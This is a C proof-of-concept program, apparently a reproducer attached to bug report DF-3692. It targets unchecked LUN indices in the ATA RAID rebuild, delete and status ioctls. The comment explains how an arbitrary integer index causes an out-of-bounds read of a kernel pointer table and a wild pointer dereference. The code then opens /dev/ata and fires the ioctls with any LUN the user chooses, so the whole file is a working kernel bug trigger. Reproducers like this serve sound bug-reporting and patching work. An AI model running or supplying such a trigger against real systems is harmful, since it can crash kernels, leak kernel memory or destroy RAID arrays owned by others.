DF-3692 / f3_ioctl_lun.c
/* DF-3692: unchecked lun index in IOCATARAIDREBUILD/STATUS/DELETE * ata_raid_ioctl -> ata_raid_rebuild(*lun) -> ata_raid_arrays[lun] * lun is an arbitrary int -> OOB read of the global pointer table -> * wild struct ar_softc * dereference. */ #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #define IOCATARAIDSTATUS _IOWR('a', 202, struct st) #define IOCATARAIDDELETE _IOW('a', 201, int) #define IOCATARAIDREBUILD _IOW('a', 204, int) struct st { int lun; int type; int interleave; int status; int progress; int total_disks; struct { int state; int lun; } disks[16]; }; int main(int argc, char **argv) { int fd, lun, val; struct st st; if (argc < 3) { fprintf(stderr, "usage: %s <rebuild|delete|status> <lun>\n", argv[0]); return 2; } fd = open("/dev/ata", O_RDWR); if (fd < 0) { perror("open /dev/ata"); return 2; } lun = (int)strtoul(argv[2], NULL, 0); val = lun; if (!strcmp(argv[1], "rebuild")) { printf("issuing IOCATARAIDREBUILD lun=%d (0x%x)\n", lun, lun); fflush(stdout); if (ioctl(fd, IOCATARAIDREBUILD, &val) < 0) perror("rebuild ioctl"); else printf("rebuild returned 0\n"); } else if (!strcmp(argv[1], "delete")) { printf("issuing IOCATARAIDDELETE lun=%d (0x%x)\n", lun, lun); fflush(stdout); if (ioctl(fd, IOCATARAIDDELETE, &val) < 0) perror("delete ioctl"); else printf("delete returned 0\n"); } else { st.lun = lun; printf("issuing IOCATARAIDSTATUS lun=%d (0x%x)\n", lun, lun); fflush(stdout); if (ioctl(fd, IOCATARAIDSTATUS, &st) < 0) perror("status ioctl"); else printf("status: type=%d il=%d status=%d prog=%d disks=%d " "d0.state=%x d0.lun=%d\n", st.type, st.interleave, st.status, st.progress, st.total_disks, st.disks[0].state, st.disks[0].lun); } close(fd); return 0; } |